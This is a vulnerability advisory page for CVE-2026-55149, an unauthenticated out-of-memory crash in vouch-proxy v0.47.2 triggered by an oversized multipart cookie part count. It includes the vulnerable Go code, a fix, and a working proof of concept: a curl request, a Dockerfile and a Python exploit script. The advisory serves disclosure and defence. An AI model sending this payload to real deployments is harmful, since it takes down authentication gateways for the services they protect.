vouch-proxy CVE-2026-55149
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Endpoint is network-accessible and executes the vulnerable allocation before any authentication; no privileges or interaction needed; only availability is impacted.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Unbounded Multipart Cookie Allocation DoS in vouch-proxy
Summary
vouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The /validate endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., VouchCookie_1of<N>) and passes it without any bounds check to make([]string, N). A single HTTP request with N=10000000000 causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required.
Details
The vulnerability exists in pkg/cookie/cookie.go. The Cookie() function iterates over all cookies in the request, identifies multipart cookies by the _NofM suffix in their name, and initializes the reassembly slice on the first matching cookie:
// pkg/cookie/cookie.go:123-130
xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
xyArray := strings.Split(xOFy, "of")
if numParts == -1 {
if numParts, err = strconv.Atoi(xyArray[1]); err != nil {
return "", fmt.Errorf("multipart cookie fail: %s", err)
}
cookieParts = make([]string, numParts) // sink: unbounded allocation
}The value in xyArray[1] comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before strconv.Atoi parses it. The result is used as the length argument to make, so an attacker who supplies VouchCookie_1of10000000000 causes the runtime to request approximately 10_000_000_000 × 16 bytes ≈ 160 GB of memory in a single call.
The complete exploit path from network entry to crash:
main.go:167-/validateand/_external-auth-:idare registered wrapped inJWTCacheHandler.pkg/jwtmanager/jwtcache.go:54-JWTCacheHandlercallsFindJWT(r)before any authentication check.pkg/jwtmanager/jwtmanager.go:228-FindJWTcallscookie.Cookie(r).pkg/cookie/cookie.go:109-r.Cookies()reads the attacker-suppliedCookie:header.pkg/cookie/cookie.go:124- cookie name suffix is split on"of".pkg/cookie/cookie.go:126-strconv.Atoi(xyArray[1])parses the attacker-controlled total.pkg/cookie/cookie.go:130- sink:make([]string, numParts)attempts a gigantic heap allocation.
Because the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed.
A suggested remediation is to add a strict upper bound and format validation before the allocation:
--- a/pkg/cookie/cookie.go
+++ b/pkg/cookie/cookie.go
@@ const maxCookieSize = 4000
+const maxCookieParts = 32
@@
- xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
- xyArray := strings.Split(xOFy, "of")
+ xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
+ partStr, totalStr, ok := strings.Cut(xOFy, "of")
+ if !ok || partStr == "" || totalStr == "" {
+ return "", fmt.Errorf("multipart cookie fail: invalid cookie part name")
+ }
if numParts == -1 {
- if numParts, err = strconv.Atoi(xyArray[1]); err != nil {
+ if numParts, err = strconv.Atoi(totalStr); err != nil {
return "", fmt.Errorf("multipart cookie fail: %s", err)
}
+ if numParts < 1 || numParts > maxCookieParts {
+ return "", fmt.Errorf("multipart cookie fail: invalid part count %d", numParts)
+ }
cookieParts = make([]string, numParts)
}PoC
Environment setup
Build the vulnerable image from source (requires the vouch-proxy repository at the path below):
docker build \
-f vuln-001/Dockerfile \
-t vouch-vuln001 \
repoStart the container (no memory limit is imposed; the Go runtime itself fails the allocation):
docker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001Wait for the server to respond to a baseline request (expected HTTP 302 or similar):
curl -v http://127.0.0.1:19090/validateAttack request
Send a single unauthenticated HTTP GET with the malicious cookie name:
curl -v http://127.0.0.1:19090/validate \
-H 'Host: app.example.com' \
-H 'Cookie: VouchCookie_1of10000000000=x'Alternatively, run the automated PoC script:
python3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000Expected result
The server process crashes immediately with a Go runtime fatal error. Container logs show:
fatal error: runtime: out of memory
runtime.makeslice(0x0?, 0x0?, 0x0?)
/usr/local/go/src/runtime/slice.go:117
github.com/vouch/vouch-proxy/pkg/cookie.Cookie(...)
/src/pkg/cookie/cookie.go:130
github.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...)
/src/pkg/jwtmanager/jwtmanager.go:228
main.main.JWTCacheHandler.func1(...)
/src/pkg/jwtmanager/jwtcache.go:54The container exits with code 2 (Go runtime fatal). The curl client receives an empty reply. The attack is 100% deterministic and reproducible on every run.
Minimal configuration (no real OAuth provider required):
vouch:
logLevel: info
listen: 0.0.0.0
port: 9090
domains:
- vouch.github.io
oauth:
provider: indieauth
client_id: http://vouch.github.io
auth_url: https://indielogin.com/auth
callback_url: http://vouch.github.io:9090/authImpact
This is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected.
An attacker who can send a single HTTP request to the /validate or /_external-auth-:id endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed.
No authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (VouchCookie) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints.
Reproduction artifacts
Dockerfile
# VULN-001 - Unbounded Multipart Cookie Allocation DoS
# vouch/vouch-proxy v0.47.2 (commit b683f60)
#
# Attack: GET /validate with Cookie: VouchCookie_1of<HUGE>=x
# -> cookie.Cookie() calls strconv.Atoi on the attacker-controlled total
# -> make([]string, <HUGE>) triggers an immediate OOM fatal in the Go runtime
# -> Server process crashes; no authentication required
#
# Build: docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo
# Run: docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001
# ---------- Stage 1: compile vouch-proxy from source ----------
FROM golang:1.26 AS builder
WORKDIR /src
COPY . .
# Build a statically linked binary; skip do.sh which requires live git tags.
# Version ldflags are pinned to the affected commit for reproducibility.
RUN CGO_ENABLED=0 GOOS=linux \
go build -v \
-ldflags="-s -w \
-X main.version=b683f60 \
-X main.uname=linux \
-X main.builddt=2024-01-01T00:00:00Z \
-X main.host=vuln-poc \
-X main.semver=v0.47.2 \
-X main.branch=main" \
-o /vouch-proxy .
# ---------- Stage 2: minimal runtime image ----------
FROM debian:bookworm-slim
RUN apt-get update && \
apt-get install -y --no-install-recommends ca-certificates && \
rm -rf /var/lib/apt/lists/*
COPY --from=builder /vouch-proxy /vouch-proxy
# Minimal config: allowAllUsers so startup succeeds without real OAuth,
# default cookie name VouchCookie matches the PoC payload.
RUN mkdir -p /config && cat > /config/config.yml << 'EOF'
vouch:
logLevel: info
listen: 0.0.0.0
port: 9090
domains:
- vouch.github.io
oauth:
provider: indieauth
client_id: http://vouch.github.io
auth_url: https://indielogin.com/auth
callback_url: http://vouch.github.io:9090/auth
EOF
EXPOSE 9090
ENTRYPOINT ["/vouch-proxy"]poc.py
#!/usr/bin/env python3
"""
VULN-001 Proof-of-Concept: Unbounded Multipart Cookie Allocation DoS
Target: vouch/vouch-proxy v0.47.2 (commit b683f60)
File: pkg/cookie/cookie.go:126
Attack summary
--------------
The multipart-cookie reassembly routine reads the total part count from the
attacker-controlled cookie *name* (e.g. VouchCookie_1of<N>) and calls
make([]string, N)
with no upper-bound check. The /validate endpoint is reachable without any
authentication, so a single HTTP request with N=10_000_000_000 forces the
Go runtime to attempt a ~160 GB heap allocation, which immediately triggers
runtime: out of memory: cannot allocate ...
and crashes the server process (Go fatal, exit 2).
Usage
-----
Run from the repo root (or any directory; paths are absolute):
python3 poc.py [--image IMAGE] [--port PORT] [--parts N]
Defaults:
IMAGE = vouch-vuln001
PORT = 9090
PARTS = 10000000000 (10 billion -> ~160 GB allocation request)
"""
import argparse
import http.client
import json
import subprocess
import sys
import time
# ──────────────────────────────────────────────────────────
# Configuration
# ──────────────────────────────────────────────────────────
DEFAULT_IMAGE = "vouch-vuln001"
DEFAULT_PORT = 19090
# host port; container always uses 9090 internally
DEFAULT_PARTS = 10_000_000_000
# drives make([]string, 10_000_000_000)
CONTAINER_NAME = "vouch-vuln001-poc"
STARTUP_TIMEOUT_S = 30
# seconds to wait for the server to listen
READY_POLL_S = 1.0
# ──────────────────────────────────────────────────────────
# Helpers
# ──────────────────────────────────────────────────────────
def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
"""Run a subprocess and return the CompletedProcess."""
print(f"[cmd] {' '.join(cmd)}")
return subprocess.run(cmd, **kwargs)
def cleanup(name: str) -> None:
"""Remove an existing container by name, ignoring errors."""
subprocess.run(
["docker", "rm", "-f", name],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
)
def wait_for_server(host: str, port: int, timeout: float) -> bool:
"""Poll GET /validate until we get any response (even 401/302) or timeout."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
try:
conn = http.client.HTTPConnection(host, port, timeout=2)
conn.request("GET", "/validate")
resp = conn.getresponse()
# Any HTTP response means the server is up.
print(f"[ready] server responded: HTTP {resp.status}")
conn.close()
return True
except OSError:
pass
time.sleep(READY_POLL_S)
return False
def container_running(name: str) -> bool:
"""Return True if the named container is still running."""
r = subprocess.run(
["docker", "inspect", "--format", "{{.State.Running}}", name],
capture_output=True, text=True,
)
return r.returncode == 0 and r.stdout.strip() == "true"
def container_exit_code(name: str) -> int | None:
"""Return the exit code of a stopped container, or None if unknown."""
r = subprocess.run(
["docker", "inspect", "--format", "{{.State.ExitCode}}", name],
capture_output=True, text=True,
)
if r.returncode == 0:
try:
return int(r.stdout.strip())
except ValueError:
pass
return None
def container_oom(name: str) -> bool:
"""Return True if the container was OOM-killed."""
r = subprocess.run(
["docker", "inspect", "--format", "{{.State.OOMKilled}}", name],
capture_output=True, text=True,
)
return r.returncode == 0 and r.stdout.strip() == "true"
def get_logs(name: str) -> str:
"""Retrieve stdout+stderr from the container."""
r = subprocess.run(
["docker", "logs", name],
capture_output=True, text=True,
)
return (r.stdout + r.stderr).strip()
# ──────────────────────────────────────────────────────────
# Main
# ──────────────────────────────────────────────────────────
def main() -> None:
parser = argparse.ArgumentParser(description="VULN-001 PoC runner")
parser.add_argument("--image", default=DEFAULT_IMAGE, help="Docker image name")
parser.add_argument("--port", default=DEFAULT_PORT, type=int)
parser.add_argument("--parts", default=DEFAULT_PARTS, type=int,
help="N in VouchCookie_1ofN (drives allocation size)")
args = parser.parse_args()
host = "127.0.0.1"
port = args.port
image = args.image
num_parts = args.parts
cookie_val = f"VouchCookie_1of{num_parts}"
print("=" * 60)
print("VULN-001 PoC - Unbounded Multipart Cookie Allocation DoS")
print("=" * 60)
print(f" Image : {image}")
print(f" Target : http://{host}:{port}/validate")
print(f" Cookie : {cookie_val}=x")
print(f" Expected allocation: ~{(num_parts * 16) // (1024**3)} GB")
print()
# 1. Clean up any leftover container.
cleanup(CONTAINER_NAME)
# 2. Start the vouch-proxy container.
# Memory is uncapped at the Docker level; the Go runtime itself will
# fail the mmap when the host cannot honor the 160 GB request
# (overcommit heuristic or insufficient address space).
run_cmd = [
"docker", "run", "-d",
# no --rm so logs survive after crash
"--name", CONTAINER_NAME,
"-p", f"{port}:9090",
# host:container - vouch-proxy always binds :9090 internally
image,
]
r = run(run_cmd, capture_output=True, text=True)
if r.returncode != 0:
print(f"[FAIL] docker run failed:\n{r.stderr}")
sys.exit(1)
container_id = r.stdout.strip()
print(f"[info] container started: {container_id[:12]}")
# 3. Wait for the HTTP server to accept connections.
print(f"[info] waiting for server on {host}:{port} (up to {STARTUP_TIMEOUT_S}s) ...")
ready = wait_for_server(host, port, STARTUP_TIMEOUT_S)
if not ready:
logs = get_logs(CONTAINER_NAME)
print(f"[FAIL] server did not become ready within {STARTUP_TIMEOUT_S}s.")
print("[logs]", logs[-2000:])
cleanup(CONTAINER_NAME)
sys.exit(1)
# 4. Send the malicious request.
print()
print("[attack] Sending malicious cookie to /validate ...")
request_line = f"GET /validate HTTP/1.1 Cookie: {cookie_val}=x"
print(f"[attack] {request_line}")
print()
try:
conn = http.client.HTTPConnection(host, port, timeout=10)
conn.request(
"GET", "/validate",
headers={
"Host": "app.example.com",
"Cookie": f"{cookie_val}=x",
},
)
# The server might crash before sending a response.
try:
resp = conn.getresponse()
body = resp.read(512).decode("utf-8", errors="replace")
print(f"[info] got HTTP {resp.status}: {body[:200]}")
except Exception as e:
print(f"[info] connection broken mid-response (expected): {e}")
conn.close()
except Exception as e:
print(f"[info] request exception (expected if server crashed): {e}")
# 5. Give the container a moment to record its exit state.
time.sleep(2)
# 6. Collect evidence.
still_running = container_running(CONTAINER_NAME)
exit_code = container_exit_code(CONTAINER_NAME)
oom_killed = container_oom(CONTAINER_NAME)
logs = get_logs(CONTAINER_NAME)
print("─" * 60)
print("[evidence] Container still running :", still_running)
print("[evidence] Container exit code :", exit_code)
print("[evidence] OOM-killed flag :", oom_killed)
print()
print("[logs] (last 3000 chars of container stdout+stderr):")
print(logs[-3000:] if logs else "(empty)")
print("─" * 60)
# 7. Verdict
#
# Evidence of exploitation (any one suffices):
# (a) Container exited (not still running) after the malicious request.
# (b) Exit code == 2 (Go runtime fatal: out of memory).
# (c) OOMKilled == true (kernel OOM killer fired).
# (d) Logs contain "out of memory" or "runtime: fatal".
crashed = not still_running
go_panic = exit_code == 2
oom_kill = oom_killed
log_oom = (
"out of memory" in logs.lower()
or "runtime: fatal" in logs.lower()
or "cannot allocate" in logs.lower()
)
passed = crashed and (go_panic or oom_kill or log_oom)
print()
if passed:
print("[PASS] Vulnerability reproduced: server crashed due to unbounded allocation.")
# Extract the key OOM line from logs.
oom_lines = [
ln for ln in logs.splitlines()
if any(kw in ln.lower() for kw in ("out of memory", "cannot allocate", "runtime: fatal", "oom"))
]
evidence = "\n".join(oom_lines[:5]) if oom_lines else f"container exited with code {exit_code}"
else:
print("[FAIL] Could not confirm crash. See logs above for details.")
evidence = logs[-500:] if logs else "(no logs)"
print()
result = {
"passed": passed,
"verdict": "PASS" if passed else "FAIL",
"reason": (
"단일 비인증 HTTP 요청으로 서버 프로세스를 OOM 충돌시키는 취약점 재현 성공"
if passed else
"컨테이너 충돌을 확인할 수 없음 - 로그 및 종료 코드 참고"
),
"build_command": (
"docker build -f vuln-001/Dockerfile "
"-t vouch-vuln001 "
"repo"
),
"run_command": (
f"docker run --rm -d --name {CONTAINER_NAME} "
f"-p {port}:9090 {image}"
),
"poc_command": (
f"python3 poc.py --image {image} --port {port} --parts {num_parts}"
),
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py"],
}
result_path = (
"reports/pypiAi_450_vouch__vouch-proxy"
"/vuln-001/phase2_result.json"
)
with open(result_path, "w") as fh:
json.dump(result, fh, indent=2, ensure_ascii=False)
print(f"[saved] {result_path}")
# 8. Cleanup.
cleanup(CONTAINER_NAME)
if __name__ == "__main__":
main()Articles & Coverage 2
AnalysisAI
Remote denial-of-service in vouch-proxy v0.47.2 and earlier crashes the server process with a single unauthenticated HTTP request. The /validate endpoint's multipart cookie reassembly routine in pkg/cookie/cookie.go parses the total part count directly from the attacker-controlled Cookie header name - an N value of 10 billion passed as VouchCookie_1of10000000000 triggers a make([]string, N) call requesting approximately 160 GB of heap, immediately raising a Go runtime fatal out-of-memory error. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | No special conditions are required - remote unauthenticated exploitation against default configurations of vouch-proxy. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H producing a score of 7.5 High accurately reflects the attack profile: network-reachable, zero complexity, no authentication, complete availability loss. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker sends a single unauthenticated HTTP GET to http://target:9090/validate with the header Cookie: VouchCookie_1of10000000000=x; no account, session, or prior knowledge of the target is required. The request enters JWTCacheHandler, which calls FindJWT before any authentication check, reaching cookie.Cookie() where strconv.Atoi parses the cookie name suffix as 10000000000 and make([]string, 10000000000) requests approximately 160 GB of heap. … |
| Remediation | Upgrade vouch-proxy to v0.48.0 or later, released at https://github.com/vouch/vouch-proxy/releases/tag/v0.48.0. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: identify all vouch-proxy instances running v0.47.2 or earlier and initiate immediate patch deployment; as interim mitigation, implement WAF rules rejecting HTTP requests with Cookie headers containing part-count values exceeding 1000. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-qqff-5854-px68